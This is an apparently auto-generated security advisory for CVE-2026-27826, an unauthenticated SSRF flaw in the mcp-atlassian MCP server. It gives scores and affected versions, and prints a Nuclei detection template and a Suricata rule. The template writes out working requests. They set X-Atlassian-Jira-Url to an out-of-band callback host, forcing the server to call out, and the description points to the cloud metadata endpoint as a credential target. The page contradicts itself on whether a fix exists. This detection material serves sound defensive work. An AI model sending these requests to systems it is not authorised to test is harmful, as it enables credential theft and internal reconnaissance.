VULNpocalypse

CVE-2026-27826: MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer, not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169[.]254[.]169[.]254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results. Version 0.17.0 fixes the issue.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-03-10).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable from an adjacent network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-10788, EUVD-2026-84621, EUVD-2026-84627, EUVD-2026-84759, GHSA-489g-7rxv-6c8q, GHSA-7r34-79r5-rcc9, GHSA-v9m3-wfh8-5646

VEDAS cluster: VEDAS:CROCUSCROC

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (11)

Catalogue entries, not exploit evidence.

7 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.130
likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
sooperset mcp-atlassianversion < 0.17.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: sooperset mcp_atlassian.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Any MCP Tool Handler - - Server-Side Request Forgery

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /mcp, POST /mcp); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-27826.yaml
Show the template (69 lines)
yaml
id: CVE-2026-27826

info:
  name: "Any MCP Tool Handler - - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to
    version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server
    process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP
    headers without an `Authorization` header.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-27826&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mcp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-27826
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,mcp,atlassian,ssrf,oast
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"vgrnsx","version":"1.0"}}}

    extractors:
      - type: regex
        name: session_id
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)Mcp-Session-Id:\s*([a-f0-9]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(session_id) > 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        Mcp-Session-Id: {{session_id}}
        X-Atlassian-Jira-Url: http://{{interactsh-url}}
        X-Atlassian-Jira-Personal-Token: vgrnsx-ssrf-test

        {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and

CVE-2026-27826.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-27826 Any MCP Tool Handler - - Server-Side Request Forgery. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-27826 Any MCP Tool Handler - - Server-Side Request Forgery"; flow:established,to_server; http.request_body; content:"{jsonrpc:2.0,id:1,method:initialize,params:{protocolVersion:"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-27826; reference:url,https://www.exploit.observer/?keyword=CVE-2026-27826&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=mcp&match=exact; sid:1011578; rev:1;)

CVE-2026-27826.rules on GitHub

Advisories on this CVE

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.